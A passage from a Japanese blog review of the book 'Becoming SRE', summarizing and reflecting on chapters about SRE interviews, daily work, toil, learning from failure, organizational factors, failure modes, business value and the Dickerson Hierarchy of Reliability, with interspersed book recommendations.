分のスキルをアピールするだけでなく、その組織におけるSREの役割や課題について積極的に質問すべきだと著者は述べています。時には、面接そのものが、SREの実践の場になり得るのかもしれません。また、著者が 「面接に落ちたら、それを障害対応のように扱ってみよう」 と提案しているのも興味深かったです。確かに、失敗から学ぶ姿勢は、SREにとって不可欠なマインドセットです。面接に落ちたからといって、それで終わりではありません。そこから学びを得て、次のチャンスに生かしていく。そういう前向きな姿勢こそが、SREの真骨頂なのだと感じました。SREの世界に飛び込むのは、勇気のいることかもしれません。でも、その一歩を踏み出す価値は十分にあるはずです。『Becoming SRE』の第7章は、その一歩を後押ししてくれる、頼もしいガイドだと感じました。日々の仕事の中で信頼性への意識を研ぎ澄ますとはいえ、面接対策だけがSREへの道ではありません。日々の業務の中で、信頼性への意識を研ぎ澄まし、技術力を磨いていくことが何より大切なのだと思います。著者も触れているように、SREの面接は、日頃の仕事ぶりの反映に他なりません。だからこそ、普段から「How can I make things better?」という問いを忘れずにいたいものです。システム設計の面接試験作者:アレックス・シュウソシムAmazonChapter 8. A Day in the Life of an SRESREの多様な役割とコラボレーションの重要性本章は、SREの日常業務の章であり、SREという職種の多様性と複雑性を浮き彫りにしています。 著者は、SREの仕事を複数のモードに分類することで、その役割の広がりを示しました。インシデント対応、ポストインシデント学習、ビルダー/プロジェクト/学習、アーキテクチャ、マネジメント、計画、コラボレーション、回復とセルフケアなど、SREは常に状況に応じて異なる仕事のモードを切り替えながら、システムの信頼性を維持・向上させていく必要があるのです。特に印象に残ったのは、コラボレーションモードの重要性についての指摘です。 SREはシステムの信頼性を確保するために、開発者、プロダクトマネージャー、ステークホルダー、ビジネス側の人々など、さまざまな関係者と密接に連携していかなければなりません。SLI/SLOの定義と実装、モニタリングの設計、カオスエンジニアリングの実践など、SREの主要なタスクの多くはコラボレーションを抜きには語れません。著者が強調するように、SREは「容赦なく協調的」であることが求められるのです。SREのワークライフバランスまた、SREの仕事がときに過酷になりがちだという指摘も重要です。 ヒーロー的な働き方を美化する文化的風潮の中で、SREが過剰なワークロードを抱え込み、バーンアウトしてしまうリスクは常につきまといます。著者は、週60-75時間も働くことを自慢げに語る人がいたら、それはシステムの失敗の表れだと考えるべきだと述べています。燃え尽きた人間は、信頼性の高いシステムを構築することができないのです。SREがサステナブルなオペレーションを実現するためには、適切なワークライフバランスを保つことが不可欠だと言えるでしょう。SREの業務バランスSREの業務バランスについての考察も示唆に富んでいました。反復作業と価値ある作業、リアクティブな仕事とプロアクティブな仕事、割り込みの多い仕事と集中できる仕事、個人作業とチームでの作業、危機的状況と平常時など、SREは常に相反する要素のバランスを取る必要があります。 特に新しいサービスを立ち上げる際は、リアクティブな仕事や割り込みが多くなりがちで、エンジニアリング業務に充てる時間を確保するのが難しくなります。状況に応じて柔軟にバランスを取っていく必要がありますが、長期的には業務時間の50%はエンジニアリング業務に充てるべきだというガイドラインは、非常に参考になりました。本章では、SREという職種の技術的な側面だけでなく、コラボレーション、ワークライフバランス、メンタルヘルスなど、さまざまな角度からSREの仕事の実態に迫っています。 SREに求められるスキルや資質の多様性を考えると、SREという職種の奥深さと面白さを改めて感じさせられました。特に、SREがサステナブルなオペレーションを実現するための職種であるという点は重要で、バランスの取れた働き方を目指すべきだという主張には強く共感しました。私たちSREは、常に変化し続ける技術的・組織的環境の中で、複数のモードを行き来しながら、コラボレーションマインドセットを発揮し、適切なバランスを保ちつつ、信頼性の高いシステムづくりに取り組んでいく必要があります。 本章で紹介されていたさまざまな知見を胸に、SREとしてのキャリアを歩んでいきたいと思います。いつも「時間がない」あなたに 欠乏の行動経済学 (早川書房)作者:センディル ムッライナタン,エルダー シャフィール早川書房AmazonChapter 9. Establishing a Relationship to ToilToilを単に「嫌な仕事」と片付けない本章は、SREにとって馴染み深いトピックである「Toil」について、より深く掘り下げた章でした。Toil(単純作業)は、SREの文脈でしばしば登場する概念ですが、その定義や特徴、そして私たちがToilとどのように向き合うべきかについては、これまであまり明確に語られてこなかったように感じます。本章では、Vivek Rauが提示したToilの定義を出発点としつつ、より nuancedで健全なToilとの付き合い方を模索しています。退屈なことはPythonにやらせよう 第2版 ―ノンプログラマーにもできる自動化処理プログラミング作者:Al Sweigartオライリー・ジャパンAmazonまず印象的だったのは、Toil を単に「嫌な仕事」として片付けるのではなく、より精緻に定義しようとしている点です。 Rauによれば、Toilとは、manual(手作業)、repetitive(反復的)、automatable(自動化可能)、tactical(戦術的)、no enduring value(持続的価値がない)、O(n) with service growth(サービスの成長に比例)といった特徴を持つ作業のことを指します。これらの特徴をすべて満たす必要はありませんが、当てはまる項目が多いほど、その作業はToilである可能性が高いと言えるでしょう。また、「誰のToilについて話しているのか」という問いも重要だと指摘されています。 通常、SREが対処しようとしているのは、システムの運用に関わるToil(operational Toil)であり、顧客が直面するToil(customer Toil)ではありません。ただし、顧客のToilを軽減することもSREの新しいフロンティアになり得ると著者は示唆しています。運用のToilと顧客のToilの間には、興味深い関連性があるのかもしれません。Toilに注目する3つの要因次に、SREがToilに注目する理由について、著者は3つの要因を挙げています。 1つ目は、美的感覚(aesthetics)です。SREは、非効率的で不要なToilを根本的に嫌うという特性を持っているのかもしれません。2つ目は、お金(money)の問題です。高度なスキルを持つSREを雇用するコストは高く、彼らにToilではなく価値ある仕事をしてもらうことが組織の財務的利益につながります。3つ目は、時間の使い方と仕事の満足度です。Toilに費やす時間が増えれば、エンジニアリング業務に充てられる時間が減り、SREの仕事の満足度も下がってしまいます。さらに、Toil がサービスの成熟度と関連していることも指摘されています。 新しいサービスほど、モニタリングやアラートの調整が不十分であったり、運用に必要なプロセスの自動化が不足していたりするため、Toil が多くなる傾向があります。サービス立ち上げ初期のToil(Early Toil)と、成熟したサービスに付きまとうToil(Established Toil)を区別することが、Toil削減に向けた戦略を立てる上で重要だというのは、良い視点だと感じました。そして、Toil の削減(あるいは排除)について、著者は興味深い見方を示しています。 よく語られるのは、「Toil を特定し、自動化やセルフサービス化によって排除する」というストーリーですが、著者はこれに疑問を呈しています。Toil は完全に排除できるわけではなく、別の形に姿を変えるだけだというのです。自動化によってToil が減っても、その分、コードの複雑性が増す。セルフサービス化によって運用チームのToil は減っても、その分、Toil が細分化されてユーザー側に分散される。著者はこれを「Toil の保存則」と呼んでいます。 Toil との健全な付き合い方を確立するためには、この保存則を直視する必要があるでしょう。トイルの削減に向けた取り組みを、単一のシステムレベルから、環境全体のクラスレベルに引き上げることも重要だと著者は指摘しています。例えば、新しいサービスをモニタリングシステムにオンボーディングする作業を大幅に簡略化することで、Early Toil を大きく削減できるかもしれません。さらに、過去のToil(established)、現在のToil(early)、未来のToilのどれに有限のリソースを割り当てるかという、時間軸を意識した判断も求められます。Toilとの健全な付き合い方個人的には、「Toil を完全に排除するのではなく、より有害度の低い形に変換していく」という考え方に強く共感しました。 トイルを減らす努力は続けつつも、同時に発生し得る複雑性や、顧客側への影響についても意識しておく必要がありそうです。私自身、SREとして日々Toilと向き合っていますが、それを単に嫌な仕事として捉えるのではなく、サービスの成熟度や技術的負債との関係性を意識しながら、長期的視点でToilの削減に取り組んでいきたいと思います。また、生成AIがこれらの意思決定にどのように影響するのか考える必要があると思っています。本章で得られた知見は、そのための指針になってくれるはずです。面倒なことはChatGPTにやらせよう (KS情報科学専門書)作者:カレーちゃん,からあげ講談社AmazonChapter 10. Learning from Failure障害からの学びはSREの中核的な活動本章は、システムの障害から学ぶことの重要性と、その実践方法について深く掘り下げた章でした。SREにとって、障害からの学びは、適切な信頼性レベルを達成するための中核的な活動だと言えます。 モニタリング/オブザーバビリティ、SLI/SLOによる目標設定、そしてインシデント/アウトリッジ対応という3つの実践が交差する地点に、障害からの学びがあるのだと著者は指摘しています。この学びを通じて、現状(what is)と目標(what should be)のギャップを埋めていくことができるのです。反脆弱性[下]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazonまず印象に残ったのは、障害について語る言葉選びが、私たちの思考や行動に大きな影響を与えるという指摘です。 例えば、「root cause(根本原因)」という言葉は、複雑な障害を単一の原因に帰着させようとする思考を助長しがちです。それに対して、「contributing factors(寄与因子)」という言葉は、障害の複雑性を認識し、多面的な理解を促します。著者が強調するように、SREは障害について語る際の言葉選びにも注意を払う必要があるでしょう。ポストモーテムでも良い次に、ポストインシデントレビュー(PiR)のプロセスについて、詳細な解説がありました。 あ、本書の中でそう言っているだけでポストモーテムが一般的な用語です。ポストインシデントレビューの目的は、インシデントについて徹底的に調査し、関係者間で共通理解を構築しながら、可能な限り多くのことを学ぶことにあります。そのためには、インシデントの詳細な年表を作成し、関係者全員でレビューすることが重要だと著者は述べています。また、レビューの際は、「なぜ」よりも「何が」「どのように」起きたのかに焦点を当てるべきだと指摘しています。「なぜ」を問うことは、原因の特定や対策の検討に性急に走ってしまう危険性があるためです。著者は、ポストインシデントレビューでよく見られる5つの落とし穴についても警鐘を鳴らしています。 「human error(人的ミス)」でインシデントを片付ける、反実仮想的な推論に陥る、結果論で判断する、機械の無謬性を前提とする、ポジティブな側面を無視する、といった点です。これらは、障害の本質的な理解を妨げ、学びを狭めてしまう恐れがあります。私自身、これらの落とし穴に無意識に陥っていたことに気づかされました。レジリエンスエンジニアリングについては、著者が特に重要視している点だと感じました。David Woodsによるレジリエンスの定義は、「不可避な驚きに対応するためにシステムが必要とする能力」というもので、従来のレジリエンス(回復力、耐障害性)の概念を大きく拡張するものです。 レジリエンスを高めるためには、変化や障害に適応するための「適応能力(adaptive capacity)」を、事前に備えておく必要があるのです。私が特に興味深く感じたのは、レジリエンスを「reboundからsustained adaptabilityまでの4段階」で捉える考え方です。 reboundは「障害からの回復」、robustnessは「複雑性やストレスへの対処」、graceful extensibilityは「想定外の事態への適応」、そしてsustained adaptabilityは「進化し続ける環境への継続的適応」を意味します。多くのSREがreboundからrobustnessあたりを目指しているのに対し、レジリエンスエンジニアリングは、その先のgraceful extensibilityやsustained adaptabilityまでを視野に入れているのだと理解しました。また、Safety-IIやSafety-IIIといった概念も紹介されていました。 Safety-IIは、「うまくいっているときに何が起きているのか」に着目することで、障害を未然に防ぐアプローチです。Safety-IIIに至っては、「成功から学ぶ」ことで、失敗を防ぐという画期的な発想だと言えます。私たちSREは、障害対応に追われるあまり、普段うまくいっていることの分析を怠りがちです。レジリエンスエンジニアリングの知見は、そうしたマインドセットを変える上でも示唆に富んでいると感じました。著者も指摘するように、レジリエンスを「動詞」として捉えることが重要だと思います。 レジリエンスは、ただ備わっている特性ではなく、絶え間ない実践によって培われていくものです。障害を避けられない以上、私たちにできることは、レジリエンスを高める営みを続けていくことです。そのためには、レジリエンスエンジニアリングの知見を深く理解し、SREの文脈に適用していく努力が求められるでしょう。レジリエンスエンジニアリングの知見を吸収し活用する私自身、これまではレジリエンスを「回復力」程度の意味で捉えていましたが、本章を読んで、その概念の奥深さに気づかされました。システムのレジリエンスを高めることは、SREの本質的な使命だと言えます。 障害から学ぶことは、そのための重要な一歩です。しかし、それだけでは不十分で、平時のシステムの挙動から学ぶことも欠かせません。レジリエンスエンジニアリングの知見を積極的に吸収し、SRE文化に取り入れていくことが、これからのSREに求められているのだと強く感じました。さらに、カオスエンジニアリングについても言及がありました。 カオスエンジニアリングとは、本番環境で意図的に障害を引き起こし、システムの挙動を理解する取り組みです。単なる「破壊」ではなく、仮説に基づいた意図的な実験であることが重要だと著者は述べています。想定外の事態に備えるための力を養う上で、カオスエンジニアリングは欠かせないアプローチだと感じました。最後に、ポストインシデントレビューで得られた学びを組織全体に広げるための具体的な方法が紹介されていました。 「ブッククラブ」「ニュースレター」「プロダクションレディネスレビューへの反映」「メタ分析とML」など、どれも良いアイデアだと感じました。せっかく得た貴重な学びを、ドキュメントに埋もれさせてはいけません。組織の隅々にまで浸透させる工夫が求められます。全体を通して、障害からの学びがSREの中核的な活動である一方で、それを実践することの難しさも再認識させられました。 言葉選びひとつとっても、私たちの無意識のバイアスが入り込む余地があります。学びを最大化するためには、レジリエンスエンジニアリングやカオスエンジニアリングといった周辺領域の知見も積極的に取り入れていく必要がありそうです。私自身、これまでのキャリアの中でポストインシデントレビューに数多く参加してきましたが、本章で得た学びを胸に、より効果的な障害からの学びを実践していきたいと思います。個人としてだけでなく、チームや組織体としての学びを促すことが、SREに求められる重要なスキルなのだと再認識しました。世界のエリートがIQ・学歴よりも重視! 「レジリエンス」の鍛え方作者:久世 浩司実業之日本社AmazonPart III. Becoming SRE for the OrganizationChapter 11. Organizational Factors for SuccessSREの導入には組織のあり方そのものの見直しが必要な時もある本章は、SREの導入を成功に導くための組織的要因について、非常に良い考察を提示していました。単に技術的なベストプラクティスを導入すれば事足りるわけではなく、組織のあり方そのものを見直す必要性を説得力を持って訴えかけています。著者が最初に問いかけるのは、「SREが解決できる問題を組織が抱えているか」という点です。 具体的には、システムの信頼性の低さ、アウテージ対応の非効率、過剰な運用負荷といった、SREのアプローチが真に効力を発揮できそうな課題を特定することが重要だと指摘しています。SREを導入すれば万事解決すると楽観視するのではなく、その手法が組織の痛点に適合するかを見極める必要があるのです。次に重要な問いは、「その問題を解決するために、組織は実際に何をする覚悟があるか」です。 SREはバズワードとして華やかに語られがちですが、本当の意味で組織に根付かせるには、相応の覚悟と行動が求められます。著者は具体的な問いを投げかけます。信頼性向上のためにエンジニアリングリソースを割けるか。機能開発を後回しにしてでも、インシデント対応の改善に注力できるか。SLOが未達の際、新機能のリリースを躊躇なく延期できるか。ポストモーテムを形骸化させない努力を惜しまないか。オンコール体制は人間的で持続可能なものになっているか。SREがソースコードにアクセスし、信頼性向上に必要な変更を加えられるか。こうした一つ一つの問いに正面から向き合わなければ、SREの真価は発揮できないと著者は警鐘を鳴らしているのです。SREは技法や手法だけでできたら苦労はしねぇまた、SREの効果が表れるまでの「忍耐力」も重要だと指摘しています。 DORAのState of DevOps Report 2023 でも示されているように、信頼性向上の取り組みが実を結ぶまでには一定の時間がかかるものです。短期的な成果を求めるあまり、腰を据えた取り組みを続けられなければ、折角の努力も水泡に帰してしまいます。だからこそ、地道な改善を積み重ねつつ、長期的なゴールを見据える忍耐強さが組織に求められるのです。SREが真に力を発揮するには、組織のあらゆるレイヤーでの「協調性」も欠かせません。 開発チーム、ビジネスサイド、ステークホルダーなどと有機的に連携しながら、信頼性の向上を追求していく必要があります。部署間の壁を越えて協調できる組織文化があるか。SREが他チームのコラボレーションツールに参加できるか。モニタリングやオブザーバビリティのツール選定に SREの意見は反映されているか。そうした具体的な協調性の発露が、SREの成功を左右すると著者は指摘するのです。また、SREにとって「データ駆動の意思決定」は生命線とも言えます。 モニタリングの重要性を説き、その結果を改善アクションに直結させる。そのためには、データの可視化や分析を習慣づけ、意思決定プロセスに組み込む組織文化が不可欠です。エラーバジェットの概念も、まさにデータに基づく意思決定の具現化だと言えるでしょう。こうしたデータ駆動のマインドセットが組織に根付いているかを見極める必要性を、著者は説いているのです。失敗から学ぶ姿勢も、SREの生命線の1つです。 形骸化したポストモーテムではなく、真摯に失敗の教訓を汲み取り、改善に活かすサイクルを回していく。それも1つのチームに閉じた学びではなく、組織の壁を超えて知見を展開していく。そうした失敗からの学びを組織の文化として定着させられるかどうかが、SREの成功を分けると著者は指摘します。インシデントの振り返りが義務的なタスクと化していないか。関係者が建設的に議論できているか。導き出された教訓が確実にアクションに結びついているか。こうした具体的な問いを投げかけることで、組織の学習力を見抜くことができるのです。SREの真価を発揮するための組織体制そして、SREが真の力を発揮するには、現場レベルでの「変化を起こす力」も欠かせません。 ドキュメントの改善から、コードやインフラの変更、ツールの選定、採用プロセスの見直しに至るまで、SREが信頼性向上のために必要な施策を機動的に実行に移せる環境が整っているかどうか。それは、SREの役割への信頼と、裁量の広さの表れだと言えます。もちろん、すべてを自由に変更できる必要はありません。しかし、SREの専門性を活かして、システムを改善していく力を組織が認めているかは、重要なバロメーターになります。加えて、システム内の「摩擦」を発見し、取り除いていく感度の高さも重要だと著者は説きます。 障害対応に2時間もかかるのに、サービス可用性の目標値は99.99%といった矛盾。開発者とオペレーション担当者の間の連携不足。旧態依然としたマニュアル作業の残存。そうした非効率や齟齬を嗅ぎ分け、改善を促していく感性がSREには求められます。リスクを放置すれば、いずれ大きな障害を招きかねません。だからこそ、摩擦を見抜き、取り除く意識を組織全体で醸成していく必要があるのです。結局、組織じゃんって話そして著者は、SRE導入の成否は結局のところ「組織の価値観」に集約されると結論付けています。 どんなにSREの手法を形式的に取り入れても、組織の根幹にある価値観と融和しなければ、長続きはしません。信頼性を重視する文化、学習を尊ぶ姿勢、協調性、変化への適応力。そうした価値観が組織のDNAレベルで共有されている必要があるのです。Googleでの SREの成功も、同社のエンジニアリング文化と価値観があってこそだったと著者は指摘します。組織の価値観とSREの理念が合致することが、成功の大前提なのです。SREの導入は、技術的側面だけでなく、組織文化や価値観のレベルでの変革を必要とする壮大な挑戦だと改めて感じさせられました。一朝一夕には成し遂げられない困難な道のりですが、その実現のためには、本章で示された指針に一つ一つ向き合っていく必要があります。SREと真に相性の良い組織を作り上げるには、骨太の問いを自らに投げかけ、その答えを見出す誠実さを業務で体現できればと思いました。Chapter 12. How SRE Can FailSREの失敗は組織全体にネガティブな影響を及ぼしかねない本章は、SREの導入と実践における失敗のシナリオを赤裸々に描き出した、良い章でした。著者は、SREの失敗が、単なる信頼性向上の取り組みの頓挫にとどまらず、組織全体がSREを拒絶するような深刻な事態を招きかねないと警鐘を鳴らしています。私たちは、SREという\\"処方箋\\"を手にしたからといって、安穏としてはいられません。その処方箋の効果を十分に引き出すには、組織の隅々にまで浸透させる地道な努力が欠かせないのです。印象的だったのは、SREの導入を「肩書の変更」だけで済ませようとする安直なアプローチへの警告です。開発者やサポートエンジニアの肩書をSREに変えるだけでは、役割や文化に実質的な変化は生まれません。むしろ、形骸化したSREチームが、開発現場の足を引っ張るリスクすらあります。SREは、単なる看板の掛け替えではなく、価値観、トレーニング、リソース配分、コミュニケーションの在り方などを根本から見直す覚悟なくして、成功しないのです。同様の罠は、既存のTier 3サポートチームをそのままSREチームに転換しようとする試みにも潜んでいます。サポートチームの役割は、エスカレーションされた難解な問題を解決することであり、システムの信頼性を根本から高めるフィードバックループを作り出すことではありません。単なる看板の掛け替えでは、開発チームとの建設的な協働は生まれず、SREの真価を発揮できないままに終わるでしょう。著者が指摘するように、SREへの転換は、チームの使命と働き方を抜本的に見直す取り組みでなければならないのです。SREは失敗をどう扱うのか?また、SREの役割をオンコール対応だけに矮小化するのも危険だと著者は訴えかけています。確かにインシデント対応は、システムの弱点を学び、改善につなげる重要な機会です。しかし、それだけがSREの存在意義だと誤解されては本末転倒です。開発者の負担を軽減するための「例外処理係」としてSREを使うのは論外ですし、システム改善から切り離されたオンコールでは、SREのポテンシャルを十分に引き出せません。SREは、オンコールから得た学びを、信頼性向上のための施策に着実に結びつけてこそ、真価を発揮できるのです。組織のトップレベルで、機能開発とSREによる信頼性向上のバランスをコントロールできる体制の欠如も、SREを失敗に導く要因として指摘されています。開発チームとSREチームのリーダーが、同じエンジニアリング責任者の下に位置していれば、feature workとSREの優先順位をその場その場で適切に判断できるはずです。しかし、両者の調整に上層部の決裁が必要になれば、SREの機動力は大幅に削がれてしまいます。組織のヒエラルキーがSREの足を引っ張ることのないよう、意思決定プロセスをシンプルに保つ工夫が欠かせません。Googleの実践をそのまま自社に当てはめようとする安直なアプローチも、失敗のリスクを孕んでいると著者は指摘します。Googleの書籍から学ぶことは多いですが、自社の文化や特性を無視してそのまま導入しても、うまくいくはずがありません。SREはGoogleの価値観の反映であり、他社が同じことをしたからといって、同じ成果が得られる保証はないのです。大切なのは、Googleの実践に範を求めつつも、自社独自のSREを見出していくこと。時には、Googleとは異なる道を選ぶ勇気も必要になるでしょう。SREがゲートキーパーと化すことも、大きな落とし穴だと著者は述べています。プロダクションリリースの可否を判断する\\"門番\\"としてSREが君臨すれば、開発チームとの対立は避けられません。SREが「get to \\"no\\"」の存在になれば、開発者はSREを障害物とみなし、迂回する方法を編み出そうとするでしょう。SREは、開発チームの創造性を阻害するのではなく、reliability-minded cultureを醸成するパートナーとして振る舞う必要があります。SREの成功が仇となって自滅するケースにも目を向けています。実績を上げたSREチームがあれば、つい何でも任せたくなるものです。しかし、それではSREチームはたちまち疲弊し、モチベーションを失ってしまいます。SREがシステムの面倒を一手に引き受ける\\"heroもの\\"になれば、開発チームの当事者意識は薄れ、システムは脆弱化の一途をたどるでしょう。SREはあくまで開発チームとの協働によって真価を発揮する、ということを肝に銘じる必要があります。また、目に見えづらい改善の積み重ねや、お客様視点の欠如、日々の楽しさの喪失など、些細な障害の集積がSREを衰退させる可能性も示唆されていました。SREの仕事は、日々の地道な努力の積み重ねです。トラブルが減れば減るほど、その存在価値が見えづらくなるのは宿命と言えます。だからこそ、自らの成果を可視化し、社内外にアピールし続けることが肝要なのです。単に社内の評価を高めるためだけでなく、自らの仕事のやりがいを再確認するためにも、これは欠かせない活動だと感じました。全体を通して、SREの道のりが平坦ではないことを思い知らされる章でした。様々な落とし穴が私たちを待ち受けています。肩書だけの変更、不適切なチーム改編、オンコール偏重、ゲートキーピング、Googleの無批判な模倣、業務の押し付け、目に見えない成果、お客様視点の欠如、楽しさの喪失。どれ一つとっても、SREを脆弱化させ、組織から拒絶されるリスクを孕んでいます。SREの失敗から立ち直るためのマインドセットしかし、だからこそSREには果敢にチャレンジする価値があるとも感じました。SREの道は険しいかもしれません。思うように物事が運ばないこともあるでしょう。しかし、SREたるもの、困難から目を背けるわけにはいきません。「SREが組織に拒絶されつつある」という兆候を感じたら、インシデント対応のように、適切なstakeholderを招集し、早期の軌道修正を図る。失敗から立ち直れなかった時は、ポストモーテムのように、徹底的に原因を究明し、教訓を次に活かす。SREのマインドセットとスキルは、まさに逆境を乗り越えるために磨かれてきたのです。とはいえ、組織の理解と協力なくして、SREの成功はあり得ません。セイリングで「向かい風でも、風を読めば前に進める」と言われるように、私たちは、SREへの\\"向かい風\\"を嘆くのではなく、それを追い風に変える知恵を持たねばなりません。失敗の芽を早期に発見し、軌道修正を図る感度の高さ。組織の価値観に働きかけ、開発チームとの信頼関係を築き、お客様の視点を第一に考える粘り強さ。そうした資質を私たち自身が体現することで、自社ならではのSREを根付かせていくことができるはずです。向かい風を利用したダッキングの仕組みは知識さえあればどんな状況も好転する可能性を秘めている例としてとても良いので雑学科学読本 身のまわりのすごい技術大百科から引用させて下さい。雑学科学読本 身のまわりのすごい技術大百科 より引用失敗の先にある成功を信じて、これからもSREの旗を高く掲げ続けたい。本章で赤裸々に描かれた数々の失敗シナリオは、SVレベルの人にこそ読んでもらいたい内容だと感じました。システムの信頼性は、一SREチームだけで達成できるものではありません。開発、オペレーション、マネジメントが一丸となってこそ、真の信頼性は生まれるのです。私たちSREは、荒波にも負けず、組織を信頼性の高い未来へと導く舵取り役でありたいと願っています。ただ単にGoogleが提唱するSREの手法を模倣するのではなく、それぞれの独自性を活かしたSREとしての旅路を歩みたいと思います。この道のりは、組織の隅々にわたってSREの価値観を浸透させることで、目指すべき信頼性という大海原へと進む冒険です。この考え方を共有するために、同僚が『あなたらしくSRE』というテーマでの発表を行い、大変示唆に富む内容でしたので、その資料をここで紹介します。また、netmarkjpさんによる、現場主導で進化するSREのあり方をテーマにした一連の資料も大変参考になります。具体的には、『現場がさき、プラクティスがあと、原則はだいじに』には、現場のニーズを優先しつつ、SREのプラクティスを展開していく重要性が述べられています。『SREsのためのSRE定着ガイド』では、SREが組織内で定着し、根付いていくための具体的なガイドが提供されています。さらに、『SREこのへんで苦戦しがちじゃないですか?』では、SREが直面しがちな困難に対する洞察と対処法が紹介されています。これらの資料は、それぞれの組織やチームが直面する独自の課題に対して、柔軟かつ効果的に対応するためのヒントやインスピレーションを提供してくれるはずです。私たち一人ひとりがSREとして成長し、組織全体の信頼性を高めていくために、これらの資料をぜひ活用してください。 speakerdeck.comChapter 13. SRE from a Business Perspective信頼性はサービスの最も重要な機能本章は、SREという技術的な役割を、ビジネスの観点から捉え直した、良い富む章でした。SREの実践は、単に技術的な信頼性の向上だけでなく、組織の成長や競争力強化にも直結する重要な取り組みだと再認識させられました。著者が対談したBen LutchとDave Rensinの両氏は、Googleという最先端のIT企業で、SREチームのリーダーを長年務めてきた人物です。彼らの知見は、SREをビジネスの文脈で語る上で、非常に良い章です。まず印象的だったのは、「信頼性はサービスの最も重要な機能である」という指摘です。顧客がサービスを使い続けるためには、その信頼性が何よりも大切だと言えます。SREは、その信頼性という機能の実現に特化したエンジニアリングチームだと位置づけられるのです。機能開発と信頼性向上は二律背反ではなく、SREという専門チームを設けることで、両者を高いレベルで両立できるというのは、良い視点でした。また、SREの存在意義を測る物差しとして、エラーバジェットの概念が重要だと指摘されていました。サービスの稼働率を100%にするのではなく、ビジネス上許容できる停止時間を設定し、それを超えない範囲でサービスを運用する。この考え方は、SREが目指す現実的な信頼性の追求方法だと感じました。エラーバジェットの消費率を追跡することで、SREチームの価値を可視化し、経営層を納得させることができるというアイデアは、示唆に富んでいます。SREチームの予算確保の際は、組織が抱える課題を起点に議論することが肝要だと著者は述べています。漠然と「SREの予算が欲しい」と訴えても、説得力に欠けます。「ここ数ヶ月で発生した障害は許容できないレベルにあります。それを防ぐために、最低限このくらいのリソースが必要だ」といった具体的な問題提起が求められます。また、SREがもたらすインパクトを、顧客体験や機会損失の回避といったビジネス指標に言い換える工夫も大切だと感じました。一方で、SREチームが陥りがちな落とし穴についても言及がありました。デベロッパーから問題をすべて丸投げされ、単なる「ページャーモンキー」と化してしまう。改善活動がおろそかになり、問題対応に明け暮れる「トイルバケツ」になってしまう。こうした事態に陥らないよう、常にSREの役割と価値を組織に示し続ける必要があるのだと実感しました。また、SREチームのヘッドカウントについても、良い議論がありました。「開発者を残業から解放したい」といった安易な動機でSREチームを肥大化させるのは賢明ではありません。あくまで、サービスの信頼性目標の達成に必要十分な人員を確保することが肝要です。一方で、疲弊しすぎず、エンジニアリング活動に注力できる最低限の人数は確保すべきだとも述べられています。ビジネスの要請とSREの働き方のバランスを取ることの難しさを感じさせられました。SREの価値を経営層に伝え続けることの重要性全体を通して、SREの価値を経営層に伝え、組織に定着させていくことの重要性を再認識した章でした。技術的な側面だけでなく、ビジネスの文脈でSREの存在意義を示し続けることが、その役割を確立する上で欠かせません。とはいえ、そこに正解はなく、各組織の状況に合わせて、試行錯誤していくことが求められるのだと感じました。SREという役割に惹かれて飛び込んできた私たちエンジニアにとって、ビジネスの観点は、ともすれば苦手意識を持ちがちな領域かもしれません。しかし、本章で紹介されていたフレームワークは、経営層とのコミュニケーションを助けてくれる強力な武器になるはずです。SLOに基づくサービス運用、エラーバジェットによるインパクトの可視化、ビジネス課題起点の要員計画。そうした考え方を身につけることで、SREとしてのキャリアをより確かなものにしていけるでしょう。私自身、まだまだ経験の浅いSREですが、この章で得られた学びを胸に、技術とビジネスの両面でのSREの価値向上に努めていきたいと思います。開発チームと経営層の間に立ち、両者の言葉を翻訳しながら、信頼性というゴールに向かって組織を牽引していく。そんなSREのあるべき姿が、この章を通して見えてきたように感じています。単に技術的なスキルを磨くだけでなく、ビジネスの文脈でSREの価値を語れるエンジニアになること。それが、これからのSREに求められる資質なのかもしれません。経営層の期待に真摯に向き合いつつ、現場のエンジニアリングにも手を抜かない。 その両立は容易ではありませんが、その先にこそ、SREのやりがいがあると信じています。著者も述べているように、SREをビジネスの文脈で語ることは、まだまだ探求の余地がある領域だと感じました。一人一人のSREが、自らの経験を言語化し、共有し合うことで、その知見体系はさらに洗練されていくはずです。私も微力ながら、その営みに貢献していければと思います。技術の力で、ビジネスの信頼を勝ち得る。本章はそんなSREの新たな可能性を感じさせてくれる内容でした。エンジニアリングの高みを目指すと同時に、ビジネスの言葉を学び、組織への貢献を示し続けること。それがこれからのSREに求められる道なのだと感じています。Chapter 14. The Dickerson Hierarchy of Reliability (A Good Place to Start)信頼性向上の第一歩としての The Dickerson Hierarchy of Reliability本章は、SREを導入したばかりの組織が、何から着手すべきかを示してくれる指針を示してくれる章でした。著者のDavid Blank-Edelman氏は、システムの信頼性を高めるための取り組みは山のようにあるものの、その中から成果の上がる一歩を見出すのは容易ではないと指摘します。 そこで、この難題に対する最良の答えとして紹介されているのが、Mikey Dickersonが提唱した「The Dickerson Hierarchy of Reliability」です。ちなみに公式にもサービス信頼性の階層があります。Figure III-1. Service Reliability Hierarchy https://sre.google/sre-book/part-III-practices/ より引用この階層モデルは、信頼性向上に向けた取り組みを、monitoring/observability、incident response、postincident review、testing/release、provisioning/capacity planningの5つのレベルに分類しています。 そして、マズローの欲求段階説になぞらえて、下位のレベルから着実に積み上げていくことを推奨しているのです。シンプルながらも良いフレームワークだと感じました。印象的だったのは、最も重要な基盤としてmonitoring/observabilityが位置づけられている点です。 システムの現状を可視化し、改善の方向性を定める上で、モニタリングは欠かせない基盤になります。加えて、チーム内での建設的な議論を促し、SLOの設定を支えるなど、モニタリングが果たす役割の広がりにも気づかされました。また、著者がpostincident reviewを\\"transformative\\"かつ\\"magical\\"なプロセスだと称賛している点も印象的でした。 障害対応は、ともすれば時間と労力の無駄になりがちです。しかし、そこから学びを得て、システムを改善につなげられれば、むしろ価値を生み出せるのだと。レジリエンスエンジニアリングの知見を応用し、障害から学ぶ文化を組織に根付かせることの重要性を、改めて感じさせられました。もちろん、この階層モデルは、SREの業務すべてを網羅しているわけではありません。著者自身、モデルの限界を認めつつ、アーキテクチャやtoil改善におけるSREの貢献にも言及しています。 ただ、SRE導入の初期段階では、まずはこの5つのレベルに注力し、確実な成果を積み重ねていくことが肝要なのだと感じました。一方で、著者はSRE導入の過程で陥りがちな落とし穴についても警鐘を鳴らしています。 例えば、オンコール対応だけが仕事になり、「ページャーモンキー」と化してしまう。postincident 